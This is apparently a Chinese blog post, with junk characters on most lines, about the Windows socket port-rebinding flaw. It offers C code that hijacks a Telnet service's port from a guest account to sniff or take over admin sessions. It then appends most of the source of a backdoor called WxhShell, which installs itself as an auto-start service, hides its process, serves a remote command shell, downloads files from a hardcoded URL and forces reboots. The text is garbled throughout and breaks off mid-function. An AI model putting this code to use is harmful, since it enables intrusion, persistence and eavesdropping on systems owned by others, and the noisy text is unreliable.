在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
aI_[h
v s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
EHk$,bM !4+ FN) saddr.sin_family = AF_INET;
n.OsmCR N; 9NeHN@D) saddr.sin_addr.s_addr = htonl(INADDR_ANY);
__|Y59J% bkFO4OZd bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
N^f_hL|:9 .,<w_= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
/_1q)`NYy *>E_lWW. 这意味着什么?意味着可以进行如下的攻击:
cyBm,! lx:.9> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
-S7i': O'h f8w 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
dF$&fo% /p$+oA+ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
TGHyBPJb (Rh$0^)A 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
2hsRYh y
'Ah*h 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
A$70!5* bMB*9<c~ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
<RuLIu %>Mcme>(W 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
>f70-D28 5O[\gd- #include
#@L5yy2 #include
\1<8'at #include
~(\.j=x #include
B["jndyr DWORD WINAPI ClientThread(LPVOID lpParam);
ca<OG;R^ int main()
'Lh nl3 {
6'Q*SO;1gh WORD wVersionRequested;
lQ&J2H<w DWORD ret;
&Gs/#2XQ WSADATA wsaData;
~rlPS#]o BOOL val;
a%r( F SOCKADDR_IN saddr;
1>L8EImx]V SOCKADDR_IN scaddr;
Dg*'n int err;
kK=f@l SOCKET s;
mcTC'. 9 SOCKET sc;
E8L\3V4 int caddsize;
lUd4`r" HANDLE mt;
Qt>Bvu Q DWORD tid;
$kc cM&B wVersionRequested = MAKEWORD( 2, 2 );
)v\ A8)[ err = WSAStartup( wVersionRequested, &wsaData );
T_[ if ( err != 0 ) {
NZz^* Ela printf("error!WSAStartup failed!\n");
hWi2S!*Y return -1;
<l5s[ }
Cd|rDa saddr.sin_family = AF_INET;
80K"u[ -ufaV# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
'LYN{ X@za4d saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
o)+C4f[G4 saddr.sin_port = htons(23);
AnoA5H if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|h& q {
/0b7"Kr printf("error!socket failed!\n");
ssAGWP return -1;
/9o6R:B }
e5(c,,/ val = TRUE;
.|0$?w //SO_REUSEADDR选项就是可以实现端口重绑定的
^%O$7* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
<Ok7-:OxA {
Q5]rc`}
5 printf("error!setsockopt failed!\n");
m[ER~]L/C return -1;
BmaY&? }
V`@/"Dj j //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Z%JAX>v&B //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
x>+sqFd\ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
2M)E1q|a `yh][gqVE~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
I#;.;%u {
3gYtu-1 ret=GetLastError();
xVTl printf("error!bind failed!\n");
5b->pc return -1;
-@Z9h)G| }
KQ0f2? listen(s,2);
udPLWrPF\ while(1)
pm2] {
f8-~&N/_R caddsize = sizeof(scaddr);
,6ae='=d //接受连接请求
h-fm)1S_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
}\1V%c if(sc!=INVALID_SOCKET)
Nz:p(X! {
:s1.TQ;Y( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
eQ,VK`7X if(mt==NULL)
Y.kc,~vYL {
/#j)GlNp: printf("Thread Creat Failed!\n");
\F)WUIK break;
JOyM#g9-? }
%Vfr#j$= }
58R.`5B CloseHandle(mt);
2OjU3z<J }
"]W,,A- closesocket(s);
`Om
W#\ WSACleanup();
u Yc}eMb return 0;
_o&NbDH }
lT~WP)
DWORD WINAPI ClientThread(LPVOID lpParam)
k"E|E";B {
_Td#C1g3 SOCKET ss = (SOCKET)lpParam;
pcQgWjfS SOCKET sc;
?Zb3M unsigned char buf[4096];
h@J3+u< SOCKADDR_IN saddr;
?v`24p3PC long num;
n4.\}%=z DWORD val;
k%iwt]i% DWORD ret;
"whs?^/ //如果是隐藏端口应用的话,可以在此处加一些判断
VxE;tJ>1 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
,eSpt#M saddr.sin_family = AF_INET;
zjSHa'9* saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
5mZwg(si saddr.sin_port = htons(23);
CZ>Ujw=&k if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
qRz /$|. {
nRT]oAi printf("error!socket failed!\n");
])q,mH return -1;
]YOWCFAQot }
w-C%,1F,/ val = 100;
=E-o@#BS if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
O\6gw$ {
5BK3ix*L ret = GetLastError();
2*]
[M,L0c return -1;
a'd=szt }
iiWpmE<, if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
SiJ{ {
6PC?*^v ret = GetLastError();
y1[@4TY] return -1;
"U$](k.<VA }
%*RZxR): if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
h92KU {
!#W3Q printf("error!socket connect failed!\n");
dp4vybJ closesocket(sc);
/%)(Uz closesocket(ss);
vP\6=71Y return -1;
/ %iS\R%ca }
Z~[eG"6zI while(1)
4~8-^^ {
#w8.aNU+] //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
50a';!H //如果是嗅探内容的话,可以再此处进行内容分析和记录
=(~Zm B\ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
/82E[P"}6R num = recv(ss,buf,4096,0);
~Q5]?ZNX if(num>0)
[)il_3t send(sc,buf,num,0);
d=
?lPEzSA else if(num==0)
Z?WVSJUVf break;
s(e1kk}" num = recv(sc,buf,4096,0);
p*Yx1er1 if(num>0)
4n1 g@A=y send(ss,buf,num,0);
t;u)_C,bmP else if(num==0)
N8=-=]0G break;
aOQT-C[
O }
keStK8 closesocket(ss);
f1?%p)C closesocket(sc);
wA6E7vi' return 0 ;
-B(p8 YH }
1QnaZhu' ):A.A,skf _;:_ !` ==========================================================
}:QoY Nq N vTp1kI] 下边附上一个代码,,WXhSHELL
G:`So KC%&or ==========================================================
CrG!8} J25/Iy*byG #include "stdafx.h"
*pAB dP+ %!A-K1Z\D #include <stdio.h>
4vND ~9d #include <string.h>
^(@]5$^Z #include <windows.h>
MBnxF^c&P #include <winsock2.h>
/LtbmV #include <winsvc.h>
Sz]1`%_H/ #include <urlmon.h>
#r1y|)m` 7#X`D #pragma comment (lib, "Ws2_32.lib")
[Z&<# - #pragma comment (lib, "urlmon.lib")
Zq H-]?) y,@yaM}-/K #define MAX_USER 100 // 最大客户端连接数
. ~a~(| #define BUF_SOCK 200 // sock buffer
h
cu\c+ A #define KEY_BUFF 255 // 输入 buffer
<q Q@OUI E>O@Bv #define REBOOT 0 // 重启
de[NIDA;` #define SHUTDOWN 1 // 关机
0-57_";%Q zQUNvPYM #define DEF_PORT 5000 // 监听端口
P"Z1K5>2L 8dJ+Ei~M #define REG_LEN 16 // 注册表键长度
GiXs`Yt| #define SVC_LEN 80 // NT服务名长度
5@
Hg 4. 9xE_Awlc85 // 从dll定义API
D9hq$? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
z4zPR?%: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
:bL^S1et typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
x}=Q)|)] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
WM4,\$ B}K<L\S // wxhshell配置信息
J,s:CBCGL struct WSCFG {
FMzG6nrdBN int ws_port; // 监听端口
6&L;Sw#Dg char ws_passstr[REG_LEN]; // 口令
@\>7
wt_' int ws_autoins; // 安装标记, 1=yes 0=no
+}:2DXy@ char ws_regname[REG_LEN]; // 注册表键名
3df5
e0 char ws_svcname[REG_LEN]; // 服务名
'-$cvH7_ char ws_svcdisp[SVC_LEN]; // 服务显示名
Y"nz l]T char ws_svcdesc[SVC_LEN]; // 服务描述信息
I]3!M`IMG char ws_passmsg[SVC_LEN]; // 密码输入提示信息
CkNh3'<wg int ws_downexe; // 下载执行标记, 1=yes 0=no
@W~aoq6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
"9N;&^I char ws_filenam[SVC_LEN]; // 下载后保存的文件名
!1A< jL }]<|`FNc };
@x;(yqOb NS;LFeGD // default Wxhshell configuration
bfpoX,: struct WSCFG wscfg={DEF_PORT,
':DL "xuhuanlingzhe",
F(^#_tXP 1,
FIu^Qd "Wxhshell",
+At0V( "Wxhshell",
'+'h^ "WxhShell Service",
@hrIu" '! "Wrsky Windows CmdShell Service",
ikb77?. "Please Input Your Password: ",
\((5Sd 1,
B@ msGb C "
http://www.wrsky.com/wxhshell.exe",
tCA0H\'; "Wxhshell.exe"
W1ndb: };
rj?c }([}A`@ // 消息定义模块
1Tev&J char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
%c%`<y<~L char *msg_ws_prompt="\n\r? for help\n\r#>";
ZCMH?> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
8@RJ> char *msg_ws_ext="\n\rExit.";
LvZ',u} char *msg_ws_end="\n\rQuit.";
$@L2zl1 char *msg_ws_boot="\n\rReboot...";
WMWUP ZsGS char *msg_ws_poff="\n\rShutdown...";
fvV"H{V, char *msg_ws_down="\n\rSave to ";
>;VZB/d 2]FRIy
d char *msg_ws_err="\n\rErr!";
tCPK_Wws?Z char *msg_ws_ok="\n\rOK!";
"5?1S-Vl _j*I\ char ExeFile[MAX_PATH];
sD&V_
&i int nUser = 0;
3Wx\Liw, HANDLE handles[MAX_USER];
C@<gCM j," int OsIsNt;
\+0l#t$ F[W0gjUc SERVICE_STATUS serviceStatus;
z+CX$.Z SERVICE_STATUS_HANDLE hServiceStatusHandle;
*O\lR-z!k wm9wnAy // 函数声明
x3.,zfWs int Install(void);
j*;.>akY7 int Uninstall(void);
}z|9F(I int DownloadFile(char *sURL, SOCKET wsh);
N[v=;& int Boot(int flag);
nHp(,'R/ void HideProc(void);
,mC=MpfzJ int GetOsVer(void);
4I|pkdF_ int Wxhshell(SOCKET wsl);
V'UFc>{o void TalkWithClient(void *cs);
PtzT>< int CmdShell(SOCKET sock);
F" 4;nU int StartFromService(void);
WT3g31 int StartWxhshell(LPSTR lpCmdLine);
X\i;j!;d Q/*|ADoq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
1+Ik\ VOID WINAPI NTServiceHandler( DWORD fdwControl );
VUz+_) 0;`+e22 // 数据结构和表定义
Sq:J'%/z SERVICE_TABLE_ENTRY DispatchTable[] =
:2')`xT {
ZPz=\^ {wscfg.ws_svcname, NTServiceMain},
(hIo0. {NULL, NULL}
9wO2`e ) };
/N obS'd fL]jk1.Xv- // 自我安装
?,%PemN int Install(void)
whrDw1>( {
BNFYUcVP char svExeFile[MAX_PATH];
S_RP&+!7 HKEY key;
|Q";a:&$ strcpy(svExeFile,ExeFile);
,e'"SVQc Np+pJc1 // 如果是win9x系统,修改注册表设为自启动
uY/CiTWr if(!OsIsNt) {
{zLgLBM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^!n|j]aw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_={mKKoHs RegCloseKey(key);
3TS:H1n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
D,(:))DmR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,ei=w,O RegCloseKey(key);
T7O) return 0;
%=\*OIhl }
e$JATA:j }
w*o2lg9 }
!-
5z 1b) else {
4mpcI WW!-,d{{@ // 如果是NT以上系统,安装为系统服务
DZEq(>mn SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
#uCfXJ- if (schSCManager!=0)
D";clP05K {
|L:X$oM SC_HANDLE schService = CreateService
.WuSW[g (
v-Q>I5D;: schSCManager,
$+Z2q<UT wscfg.ws_svcname,
)e6sg]# wscfg.ws_svcdisp,
wwJ s_f\ SERVICE_ALL_ACCESS,
j#Lj<jX!xR SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
FP*kA_z$ SERVICE_AUTO_START,
FT-=^VA\ SERVICE_ERROR_NORMAL,
}n'W0Sa svExeFile,
[
q[2\F?CE NULL,
,Tk53 " NULL,
zqZ/z>Gf NULL,
NmF8BmIj NULL,
.f>7a;V?} NULL
{eQijW2Z3 );
lQm7`+ if (schService!=0)
8LXK3D}?3 {
)V*`(dn'zm CloseServiceHandle(schService);
J Rj{Q 1J CloseServiceHandle(schSCManager);
:hR^?{9Z4> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
NX:\iJD)1U strcat(svExeFile,wscfg.ws_svcname);
JLjs`oqh if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
}_@p`>|)rB RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
-9o7a_Z RegCloseKey(key);
+RkXe;q return 0;
K,*-Y)v2W }
-7%dgY( }
'Z#>K* CloseServiceHandle(schSCManager);
zG^$-L.n }
4%JJ}{Ff }
UQ@szE &0J8ICd= return 1;
u|D L?c>W }
\YF07L]qs- ,^eOwWV // 自我卸载
s vS)7]{cU int Uninstall(void)
{/>uc,8O {
>*n4j: HKEY key;
EV-# E Bqb`WX[<` if(!OsIsNt) {
'R42N3|F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ua_,c\iL RegDeleteValue(key,wscfg.ws_regname);
^< RegCloseKey(key);
*Gj`1#Z$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Ag8lI+
h RegDeleteValue(key,wscfg.ws_regname);
:/t_5QN RegCloseKey(key);
8|5+\1!#/) return 0;
6Lg#co}9 }
3 +`,'Q9 }
0V`~z-# }
ZjrBOb else {
ej=}OH4 IH5^M74b SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
0~W6IGE~ if (schSCManager!=0)
%Q;:nVt {
,\d03wha SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
1|:;~9n<t if (schService!=0)
'0&HkM{ D {
HsT6 #K if(DeleteService(schService)!=0) {
%kgT=<E' CloseServiceHandle(schService);
j_0l'S aj CloseServiceHandle(schSCManager);
;sz _W%-;@ return 0;
Xr88I^F; }
:&2%x CloseServiceHandle(schService);
B8!$?1*^a }
R"\(a CloseServiceHandle(schSCManager);
#cb9g }
wjT#D|soI }
BuxU+ 'AmA3x)9u return 1;
U#XW}T=| }
:/RvtmW J{Ld)Q,^ // 从指定url下载文件
#'RfwldD9 int DownloadFile(char *sURL, SOCKET wsh)
)M(//jX {
#BZ5Mxzj HRESULT hr;
G(t&(t`[ char seps[]= "/";
t~!ag#3['. char *token;
8p1:dTI5Pb char *file;
d(|4 +^> char myURL[MAX_PATH];
5-S-r9 char myFILE[MAX_PATH];
`FX?P`\@I PQz[IZ strcpy(myURL,sURL);
*e<'|Kq token=strtok(myURL,seps);
M*~X pT3 while(token!=NULL)
=CCddLO {
mJH4M9WJ] file=token;
'RNj5r token=strtok(NULL,seps);
&lxMVynL }
LJt5?zQKrW ,">CPl] GetCurrentDirectory(MAX_PATH,myFILE);
}wEt=zOJ strcat(myFILE, "\\");
0G+qF96 strcat(myFILE, file);
r'XWt]B+[ send(wsh,myFILE,strlen(myFILE),0);
T?`Ha\go send(wsh,"...",3,0);
zn|O)"C hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
vB5mOXGN q if(hr==S_OK)
[?g}<fa return 0;
pK/RkA1 else
yWr&G@>G return 1;
%L-{4Z!"sI fQ_tXY }
-Q ];o~ Vn_>c#B // 系统电源模块
WM=)K1p0u int Boot(int flag)
OGq=OW {
L[Wi[S6=)g HANDLE hToken;
FEBRUk6.h TOKEN_PRIVILEGES tkp;
tlI]);iE, *ODc[k'( if(OsIsNt) {
]J/;Xp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
6k+tO%{~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!L/.[:X tkp.PrivilegeCount = 1;
)]m4FC: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
W4h ]4X AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
)_?H BTG if(flag==REBOOT) {
UCo<ie\V if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
b8$%=Xp return 0;
1WY$Vs }
(@O,U else {
>}u#KBedE if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
m&s;zQ return 0;
8Kn}o@Yd }
ICTjUQP }
/~?[70B}E else {
yV&]i-ey if(flag==REBOOT) {
NxFCVqGb if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
qa6HwlC1 return 0;
!yKrA|w1 }
F0kQ/x else {
+5kQ;D{+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
*$mb~k^R return 0;
:U @L$ }
|UcF%VNnz1 }
f
uH3C~u7< nGTqW/k[+s return 1;
Fg2/rC:_ }
cn9=wm\\ E6- ~ // win9x进程隐藏模块
[[ }ukG4 void HideProc(void)
-,$:^4 {
oiz]Bd z34+1d HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
li}>xDSQ4 if ( hKernel != NULL )
*r6v9 {
ZalL}?E
? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
J %E0Wd ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
clIn}wQ FreeLibrary(hKernel);
X{h[ }
2D3mTpw Ka"1gbJ| return;
oV~S4|9: }
wFBSux$ g+C~}M_7 // 获取操作系统版本
CY!H)6k int GetOsVer(void)
Nk9w;
z& {
aZta%3`) OSVERSIONINFO winfo;
a6/E TQ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
LM!@LQAMY GetVersionEx(&winfo);
) LBbA if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
L|A1bxt return 1;
K-@cn*6 else
/j\.~=,_ return 0;
` ^z
l = }
of`WP
3BB/u%N} // 客户端句柄模块
hXx:D3h int Wxhshell(SOCKET wsl)
a1v?{vu\E {
g{m~TVm' SOCKET wsh;
X(C=O?A struct sockaddr_in client;
\Fu(IuD DWORD myID;
JS&;7Z$KX /T 4GPi\lg while(nUser<MAX_USER)
VB4ir\nF {
t & 5s. int nSize=sizeof(client);
h>/L4j*Z wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
N,ZmGzNP) if(wsh==INVALID_SOCKET) return 1;
Mo4igP krXU*64 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
u>2opI~m if(handles[nUser]==0)
yJ8_<A closesocket(wsh);
9}d^ll& else
TZObjSm_v nUser++;
SFqq(K2u }
9['>$ON WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1Msc:7:L 3gW+|3E return 0;
)fc+B_ }
;^8X(R ,B,0o*qc{K // 关闭 socket
BR~+CBH void CloseIt(SOCKET wsh)
asYUb&Hz88 {
1kh()IrA closesocket(wsh);
^pocbmg nUser--;
(abtCuZ8z ExitThread(0);
>i2WYT }
In}~bNv? biHZyUJ // 客户端请求句柄
BM02k\% void TalkWithClient(void *cs)
=>xyJ->R {
Ys@\~?ym+ x0q`Uc SOCKET wsh=(SOCKET)cs;
Ntpw(E<$f char pwd[SVC_LEN];
9]a!1 char cmd[KEY_BUFF];
0}$R4<"{Y> char chr[1];
H$xUOqL int i,j;
=K9- S$nEflcz while (nUser < MAX_USER) {
|<LW(,|A U{3Pk0rZ if(wscfg.ws_passstr) {
} DkdF if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
eXtlqU$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ET~^P //ZeroMemory(pwd,KEY_BUFF);
Z7dV y8J i=0;
28 ;x5m)N while(i<SVC_LEN) {
{
b7%Zd3- D(Q=EdlO // 设置超时
C)ebZ3 fd_set FdRead;
-$(2Z[ struct timeval TimeOut;
0C0ld!>r FD_ZERO(&FdRead);
~*RBMHs FD_SET(wsh,&FdRead);
l>@){zxL TimeOut.tv_sec=8;
j.29nJ TimeOut.tv_usec=0;
gCW
{$d1= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
ujbJ&p
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
ZJ|&t <{k8 K6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
8s6^!e& pwd
=chr[0]; oBWa\N
if(chr[0]==0xd || chr[0]==0xa) { hKN/&P^
pwd=0; ajD/)9S
break; !l1jQq_mK
} }9Awv#+
i++; j$khGR!
} f,8PPJ:,
c.;<+dYsm*
// 如果是非法用户,关闭 socket ob7hNo#
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /SJI ~f+$
} qk!,:T
S~.%G)R
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :ZU-Vi.b
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tL
S$D-
gnZc`)z
while(1) { #80r?,q
A{\!nq_~N
ZeroMemory(cmd,KEY_BUFF); UAtdRVi]M
r-c1_
[Q#
// 自动支持客户端 telnet标准 [J43]
j=0; Zex`n:Wl?j
while(j<KEY_BUFF) { 4tFnZ2x
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EZ)GW%Bm2
cmd[j]=chr[0]; Ly`FU)
if(chr[0]==0xa || chr[0]==0xd) { wRQMuFGY
cmd[j]=0; {3\{aZ8)
break; a O(&<
} |=s jGf
j++; b@)nB
} p/Lk'h~
Yq-7!
// 下载文件 )F%zT[Auph
if(strstr(cmd,"http://")) { !+ ??3-q
send(wsh,msg_ws_down,strlen(msg_ws_down),0); vN`JP`IBx
if(DownloadFile(cmd,wsh)) $Q*^c"&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +ZPn[|
else >SHW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hbTJXP~~?
} fBct%M 3
else { _l&.<nz
*vIC9./
switch(cmd[0]) { z]=jer
D?
FWSv
// 帮助 uE,j$d
case '?': { "o$)z'q
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k3r<']S^
break; (:ij'Zbz
} }1Km h]
// 安装 ~DUOL~E
case 'i': { `Bv, :i
if(Install()) ')~[J$qz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^TCfj^FP
else ]YwvwmZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D>"!7+t|@a
break; iLJBiZ+
} Ox"SQ`nSj'
// 卸载 %1%@L7wP>
case 'r': { r*W&SU9Z
if(Uninstall()) &W-1W99auE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q%8Ck)xz
else K{]\}7+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {A8w~3F
break; zZ{(7Kfz
} _:?b-44
// 显示 wxhshell 所在路径 teg[l-R"7z
case 'p': { qc@v"pIz'S
char svExeFile[MAX_PATH]; bn0Rv
strcpy(svExeFile,"\n\r"); aq%i:};
strcat(svExeFile,ExeFile); iGsD!2
send(wsh,svExeFile,strlen(svExeFile),0); h
v/+
break; |FJc'&) J"
} !jyy`q=
// 重启 Rln@9muXA
case 'b': { "!_,N@\t
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rd4mAX6@
if(Boot(REBOOT)) ' |
bHu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); td\'BV
else { gl!F)RdH
closesocket(wsh); &cB+la\_
ExitThread(0); x_.}C%
} T6Ks]6m_
break; 8WMGuv
} ue"e><c6:
// 关机 vB1nj<]&z
case 'd': { gatxvR7H
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h9WyQl7
if(Boot(SHUTDOWN)) ed4`n!3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %2EHYBQjN
else { LFPYnK
closesocket(wsh); i$S*5+
ExitThread(0); Kma-W{vGD
} SoL"M[O
break; {xJ<)^fD8
} uPBtR
// 获取shell
=U+_;;F=
case 's': { k2ZMDU
CmdShell(wsh); 2, r{zJ8
closesocket(wsh); vy1N,8a
ExitThread(0); lxXIu8
break; @[w.!GW%
} glgXSOj
// 退出 yu@u0vlc
case 'x': { 5{O9<~,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %Y<3v\`_
CloseIt(wsh); "BD$-]
break; f&L8<ASFo
} ^?o> (K
// 离开 5!}fd/}Uk
case 'q': { ,S\AUUt%
send(wsh,msg_ws_end,strlen(msg_ws_end),0); PBp+(o-
closesocket(wsh); _cD-E.E%
WSACleanup(); #i}:CI>2
exit(1); :ej`]yK |
break; e[*%tx H
} p)w{}@%r
} `ls^fnJTpf
} )b;}]C
so@wUxF
// 提示信息 /H<tv5mXJ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ps@{1Rn1
} -%6Y&_5VK
} E _j=v
\
anxwK47
return; Lt\=E8&rh
} OZi4S3k
K:8.
Dvn
// shell模块句柄 uEcK0>xp
int CmdShell(SOCKET sock) "| W``&pM
{ i4r8146D[
STARTUPINFO si; =E4~/F}9/T
ZeroMemory(&si,sizeof(si)); $SPA'63AC
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kzf^ras4u
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `beU2N
PROCESS_INFORMATION ProcessInfo; w]=c^@t_
char cmdline[]="cmd"; rz]M}!>k
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cux<7#6af
return 0; v.Zr,Z=eV
} 25/OV"Z
^9A,j}>o-
// 自身启动模式 V"R ,omh
int StartFromService(void) cHk ?$
{ c$52b4=a
typedef struct cy!;;bB
{ 71!'k>]h
DWORD ExitStatus; xr).ZswQ
DWORD PebBaseAddress; `} :~,E
DWORD AffinityMask; |;MW98 A
DWORD BasePriority; u<K{=94!e
ULONG UniqueProcessId; Xhm)K3RA*T
